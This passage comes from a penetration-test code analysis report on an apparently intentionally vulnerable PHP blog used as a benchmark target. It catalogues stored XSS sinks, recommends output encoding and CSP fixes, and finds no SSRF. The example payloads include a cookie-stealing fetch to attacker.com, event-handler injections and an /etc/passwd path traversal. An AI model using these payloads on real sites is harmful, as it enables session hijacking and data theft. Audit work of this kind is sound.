#### Sink #4: Image Source Attribute

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/index.php`, Line 60

**Code:**
```php
echo "<img src='images/{$row['image']}' alt='{$row['title']}' style='width:200px;height:200px;'/>";
```

**Vulnerability Details (src attribute):**
- **Render Context:** URL context in `src` attribute with single quotes
- **Data Source:** `posts.image` column from database (VARCHAR 255)
- **User Controllability:** High - Can be injected via SQL injection
- **Sanitization:** None
- **Impact:** JavaScript execution via onerror handler, path traversal
- **Network Accessibility:** YES - Main page at `http://[host]/index.php`

**Example Payloads:**
```html
x' onerror='alert(1)
javascript:alert(1)
' onerror='fetch("http://attacker.com?cookie="+document.cookie)' data='
../../../etc/passwd
```

#### Sink #5: Image Alt Attribute

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/index.php`, Line 60

**Code:**
```php
echo "<img src='images/{$row['image']}' alt='{$row['title']}' style='width:200px;height:200px;'/>";
```

**Vulnerability Details (alt attribute):**
- **Render Context:** HTML attribute context with single quotes
- **Data Source:** `posts.title` column from database (VARCHAR 255)
- **User Controllability:** High - Can be injected via SQL injection
- **Sanitization:** None
- **Impact:** Attribute injection, potential event handler injection
- **Network Accessibility:** YES - Main page at `http://[host]/index.php`

**Example Payloads:**
```html
' onload='alert(1)
' onclick='alert(1)
' autofocus onfocus='alert(1)
```

#### Sink #6: Category Dropdown Value Attribute

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/index.php`, Line 29

**Code:**
```php
echo "<option value='{$row['category']}' {$selected}>{$row['category']}</option>";
```

**Vulnerability Details (value attribute):**
- **Render Context:** HTML attribute context with single quotes
- **Data Source:** `posts.category` column from database (VARCHAR 100)
- **User Controllability:** High - Can be injected via SQL injection
- **Sanitization:** None
- **Impact:** Attribute injection, potential event handler injection
- **Network Accessibility:** YES - Category dropdown on main page

**Example Payloads:**
```html
' onclick='alert(1)' data='
' onchange='alert(1)
' autofocus onfocus='alert(1)
```

#### Sink #7: Category Dropdown Display Text

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/index.php`, Line 29

**Code:**
```php
echo "<option value='{$row['category']}' {$selected}>{$row['category']}</option>";
```

**Vulnerability Details (option text):**
- **Render Context:** HTML body context (option element content)
- **Data Source:** `posts.category` column from database (VARCHAR 100)
- **User Controllability:** High - Can be injected via SQL injection
- **Sanitization:** None
- **Impact:** HTML tag injection, option tag breaking
- **Network Accessibility:** YES - Category dropdown on main page

**Example Payloads:**
```html
</option><script>alert(1)</script><option>
</option></select><script>alert(1)</script><select><option>
```

### JavaScript Context

**Finding:** The application has **no JavaScript context XSS sinks**. Analysis shows:
- No `eval()` usage
- No `Function()` constructor usage
- No `setTimeout()` or `setInterval()` with string arguments
- No direct user data written into `<script>` tags
- The only JavaScript in the application is a single line in the category filter form (line 24-25 of `index.php`): `<select name="category" onchange="this.form.submit()">` which is static code, not user-controlled

### CSS Context

**Finding:** The application has **no CSS context XSS sinks**. Analysis shows:
- No `element.style` property manipulation
- No user data written into `<style>` tags
- The only CSS is a static external stylesheet (`styles.css`) with no dynamic content
- The inline `style` attribute in line 60 (`style='width:200px;height:200px;'`) contains hardcoded values only

### URL Context

**Finding:** The application has **no URL context XSS sinks** in client-side JavaScript. Analysis shows:
- No `location.href` manipulation
- No `window.location` assignments
- No `window.open()` with user data
- No client-side routing or history manipulation
- The application uses traditional form submissions and server-side redirects only

**Note:** The `src` attribute injection (Sink #4) is classified under HTML Attribute Context rather than URL Context since it occurs in server-side rendered HTML rather than client-side JavaScript URL manipulation.

### Summary of XSS Vulnerabilities

| Sink ID | Location | Line | Context | Data Source | Risk | Network Accessible |
|---------|----------|------|---------|-------------|------|-------------------|
| #1 | index.php | 58 | HTML body (`<h2>`) | posts.title | CRITICAL | YES |
| #2 | index.php | 59 | HTML body (`<p>`) | posts.category | CRITICAL | YES |
| #3 | index.php | 61 | HTML body (`<p>`) | posts.content | CRITICAL | YES |
| #4 | index.php | 60 | HTML attribute (src) | posts.image | HIGH | YES |
| #5 | index.php | 60 | HTML attribute (alt) | posts.title | HIGH | YES |
| #6 | index.php | 29 | HTML attribute (value) | posts.category | HIGH | YES |
| #7 | index.php | 29 | HTML body (option) | posts.category | MEDIUM | YES |

**Total XSS Sinks:** 7 critical/high-severity sinks, all in network-accessible code

**Mitigation Requirements:**

For each sink, implement context-appropriate output encoding:

```php
// HTML body context
echo "<h2>" . htmlspecialchars($row['title'], ENT_QUOTES | ENT_HTML5, 'UTF-8') . "</h2>";

// HTML attribute context
echo "<img src='images/" . htmlspecialchars($row['image'], ENT_QUOTES | ENT_HTML5, 'UTF-8') . "' 
          alt='" . htmlspecialchars($row['title'], ENT_QUOTES | ENT_HTML5, 'UTF-8') . "'/>";

// URL context (additional validation required)
$safe_image = htmlspecialchars($row['image'], ENT_QUOTES | ENT_HTML5, 'UTF-8');
if (preg_match('/^[a-zA-Z0-9_\-\.]+\.(jpg|jpeg|png|gif|webp)$/', $safe_image)) {
    echo "<img src='images/" . $safe_image . "'/>";
}
```

Additionally, implement Content Security Policy headers to provide defense-in-depth:
```apache
Header set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none'; base-uri 'self'; form-action 'self'"
```

---

## 10. SSRF Sinks

### Executive Summary

After comprehensive analysis of the application codebase, **NO Server-Side Request Forgery (SSRF) vulnerabilities were identified**. The application is a simple PHP blog with MySQL database that does not make any outbound HTTP requests, does not process URLs from user input, and does not integrate with external services.

### Analysis Methodology

The SSRF/External Request Tracer Agent conducted exhaustive searches for all common SSRF vectors including HTTP clients, socket operations, file inclusion mechanisms, redirect handlers, headless browsers, media processors, link preview functionality, webhook handlers, SSO/OIDC discovery endpoints, import functionality, and cloud metadata API calls. All searches returned negative results.

### HTTP(S) Clients

**Finding:** NO HTTP(S) client functionality detected.

**Searched Functions/Libraries:**
- `curl_init`, `curl_exec`, `curl_setopt`, `curl_close` - Not found
- `file_get_contents` with URL wrappers (`http://`, `https://`) - Not found
- `fopen`, `fsockopen`, `pfsockopen` with URLs - Not found
- `stream_socket_client` - Not found
- `stream_context_create` for HTTP contexts - Not found
- Guzzle HTTP client library - Not found
- Any other HTTP client libraries - Not found

**Analysis:** The application has zero outbound HTTP request capability. The only network communication occurs from the web container to the MySQL database container on the internal Docker network.

### Raw Sockets & Connect APIs

**Finding:** NO raw socket operations detected.

**Searched Functions:**
- `socket_create`, `socket_connect`, `socket_bind` - Not found
- `fsockopen`, `pfsockopen` - Not found
- `stream_socket_client` - Not found

**Analysis:** The application does not create or manipulate network sockets directly beyond the MySQLi database connections.

### URL Openers & File Includes

**Finding:** NO remote file inclusion functionality detected.

**File Analysis:**
- **index.php:** No `include`, `require`, `include_once`, `require_once` statements present
- **admin.php:** No file inclusion statements present
- **entrypoint.sh:** Shell script with no URL fetching (uses mysql client only)

**Searched Functions:**
- `file_get_contents` with URLs - Not found
- `readfile` - Not found
- `fopen` with URL wrappers - Not found
- `copy` with URLs - Not found
- PHP stream wrappers (`http://`, `ftp://`, `data://`, `php://input`) - Not used with user input

**Image Rendering Analysis:**

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/index.php`, Line 60

**Code:**
```php
echo "<img src='images/{$row['image']}' alt='{$row['title']}' style='width:200px;height:200px;'/>";
```

**Analysis:** This is **client-side HTML rendering only** - the `<img>` tag is sent to the browser, which then makes a separate HTTP request to fetch the image. The server does not fetch or process the image based on user input. The `src` attribute points to local files in the `images/` directory served statically by Apache. This is **NOT an SSRF sink** because:
1. No server-side request is made
2. The browser makes the request, not the server
3. Path is relative and restricted to images/ directory
4. No URL fetching occurs in PHP code

**Path Traversal Risk (Not SSRF):** While the image path could be manipulated via SQL injection to cause path traversal (e.g., `../../../../etc/passwd`), this would be served by Apache's file handling, not by PHP making an outbound request. This represents a path traversal vulnerability, not SSRF.

### Redirect & "Next URL" Handlers

**Finding:** NO server-side redirect functionality with user-controlled URLs.

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/admin.php`

**Analysis:**
- Line 4 contains a comment: `// Check if the user is already logged in and redirect to the protected page`
- However, **no actual redirect code is implemented**
- No `header('Location: ...')` calls exist in the application
- No PHP redirect functions (`http_redirect()`) are used
- The application does not redirect users to any URLs

**Form Submissions:** The category filter form (line 24 of `index.php`) submits to the same page via GET, not to a user-controlled URL. The login form (line 52 of `admin.php`) submits to the same page via POST.

### Headless Browsers & Render Engines

**Finding:** NO headless browser or rendering engine usage detected.

**Searched Technologies:**
- Puppeteer - Not found
- Playwright - Not found
- Selenium WebDriver - Not found
- PhantomJS - Not found
- wkhtmltopdf - Not found
- html-to-pdf converters - Not found
- Server-Side Rendering (SSR) frameworks - Not found

**Analysis:** The application uses traditional server-side PHP rendering with no client-side rendering, no PDF generation, and no screenshot functionality.

### Media Processors

**Finding:** NO media processing functionality detected.

**Searched Technologies:**
- ImageMagick (`convert`, `identify`) - Not found
- GraphicsMagick - Not found
- FFmpeg - Not found
- Ghostscript - Not found
- GD library image processing with URLs - Not found
- Image optimization services - Not found

**Static Images:** The application serves two static images (`morning-dew.jpg`, `sunset.jpg`) from the `images/` directory. These are pre-existing files, not dynamically processed or fetched from URLs.

### Link Preview & Unfurlers

**Finding:** NO link preview or URL unfurling functionality detected.

**Searched Functionality:**
- Open Graph metadata fetchers - Not found
- oEmbed endpoint fetchers - Not found
- Social media card generators - Not found
- URL metadata extractors - Not found
- Rich link preview generators - Not found

**Analysis:** The application is a simple blog that displays text and images, with no functionality to fetch or preview external URLs.

### Webhook Testers & Callback Verifiers

**Finding:** NO webhook or callback functionality detected.

**Searched Functionality:**
- "Ping my webhook" features - Not found
- Outbound callback verification - Not found
- Health check notifications - Not found
- Event delivery confirmations - Not found
- API endpoint validation tools - Not found

**Analysis:** The application does not send any outbound notifications or callbacks.

### SSO/OIDC Discovery & JWKS Fetchers

**Finding:** NO SSO, OIDC, or JWKS functionality detected.

**Searched Functionality:**
- OpenID Connect discovery endpoints (`.well-known/openid-configuration`) - Not found
- JWKS (JSON Web Key Set) fetchers - Not found
- OAuth authorization server metadata - Not found
- SAML metadata fetchers - Not found
- Federation metadata retrievers - Not found

**Analysis:** The application uses traditional username/password authentication with no external identity providers or federated authentication.

### Importers & Data Loaders

**Finding:** NO import or remote data loading functionality detected.

**Searched Functionality:**
- "Import from URL" features - Not found
- CSV/JSON/XML remote loaders - Not found
- RSS/Atom feed readers - Not found
- API data synchronization - Not found
- Configuration file fetchers from URLs - Not found

**Analysis:** All data in the application is either seeded at deployment time via `db_init.sql` or entered through the (non-existent) admin interface. No remote data import exists.

### Package/Plugin/Theme Installers

**Finding:** NO package, plugin, or theme installation functionality detected.

**Searched Functionality:**
- "Install from URL" features - Not found
- Package managers with remote sources - Not found
- Plugin/theme downloaders - Not found
- Update mechanisms with remote checks - Not found
- Dependency resolution with external repositories - Not found

**Analysis:** The application has no extensibility, plugin system, or theme system.

### Monitoring & Health Check Frameworks

**Finding:** NO outbound monitoring or health check functionality detected.

**Docker Health Checks (Not SSRF):**
- **Web Container:** `curl -f http://127.0.0.1:80/` (line 18-19 of docker-compose.yml)
- **Database Container:** `mysqladmin ping --silent` (line 32-33 of docker-compose.yml)

**Analysis:** These health checks are **inbound** checks performed by Docker against the container itself, not outbound requests made by the application to external URLs. They are **NOT SSRF sinks** because:
1. Docker orchestration performs the checks, not the application
2. They target localhost only
3. No user input influences these checks
4. They run in the Docker daemon, not in the application runtime

### Cloud Metadata Helpers

**Finding:** NO cloud metadata API access detected.

**Searched Functionality:**
- AWS EC2 metadata service (169.254.169.254) - Not found
- GCP metadata service - Not found
- Azure IMDS (Instance Metadata Service) - Not found
- Container orchestration API clients (Kubernetes, ECS) - Not found
- Service mesh configuration retrievers - Not found

**Analysis:** The application runs in basic Docker containers with no cloud provider integration or metadata service access.

### XML External Entity (XXE) Processing

**Finding:** NO XML processing functionality detected.

**Searched Functions:**
- `simplexml_load_string`, `simplexml_load_file` - Not found
- `DOMDocument::load`, `DOMDocument::loadXML` - Not found
- `xml_parse` - Not found
- `libxml_disable_entity_loader` - Not found

**Analysis:** The application does not process XML data and has no XML parsing functionality.

### Command Injection Leading to SSRF

**Finding:** NO command execution functionality detected.

**Searched Functions:**
- `exec`, `shell_exec`, `system`, `passthru` - Not found
- `proc_open`, `popen` - Not found
- Backtick operators - Not found

**Analysis:** The application has no command execution capability that could be leveraged for SSRF via tools like `curl` or `wget`.

### Database-Triggered SSRF

**Finding:** NO database features that could trigger outbound requests.

**Analysis:**
- No `LOAD DATA INFILE` with URLs
- No MySQL UDF (User Defined Functions) that make HTTP requests
- No stored procedures that call external services
- No database triggers with external calls

### Application Architecture Network Flow

```
User Browser
     ↓ HTTP (Port 80)
[Web Container - PHP/Apache]
     ↓ MySQL Protocol (Port 3306, Internal)
[Database Container - MySQL 5.7]
```

**Observation:** The **only network communication** the application makes is from the web container to the database container over the internal Docker network. There are **zero outbound connections** to external networks or services.

### Conclusion

**SSRF VULNERABILITY STATUS: NOT PRESENT**

**Justification:**

1. **No HTTP Client Libraries:** The application does not import, initialize, or use any HTTP client libraries or functions that could make outbound requests.

2. **No URL Processing:** User input is never parsed as a URL, validated as a URL, or used to construct HTTP requests.

3. **Limited Functionality:** The application's core functionality is limited to database queries and HTML rendering, with no external integrations.

4. **No External Dependencies:** The application does not call APIs, fetch remote resources, or integrate with third-party services.

5. **Static File References:** All file references (images, CSS) are local static paths served by Apache, not fetched dynamically.

6. **Network Isolation:** The application only connects to the MySQL database on the internal Docker network. No external network calls are made.

**Non-SSRF Vulnerabilities Identified:**

While no SSRF vulnerabilities exist, the application has critical security issues in other areas:
- **SQL Injection** in `index.php` line 45 (category parameter)
- **Stored XSS** in `index.php` lines 57-62 (database content rendering)
- **Plaintext Password Storage** in database
- **No Transport Encryption** (HTTP only)

**Conclusion:** The application **DOES NOT** contain any Server-Side Request Forgery (SSRF) vulnerabilities. The codebase lacks any mechanisms that would allow an attacker to make the server initiate HTTP/HTTPS requests, connect to arbitrary network endpoints, fetch remote resources, or access internal network services through the web application.

---

**END OF CODE ANALYSIS REPORT**

## Authenticated Scans

### SCHEMATHESIS
Status: skipped
No API schemas found

---
Report generated at: 2025-10-28T20:51:26.929Z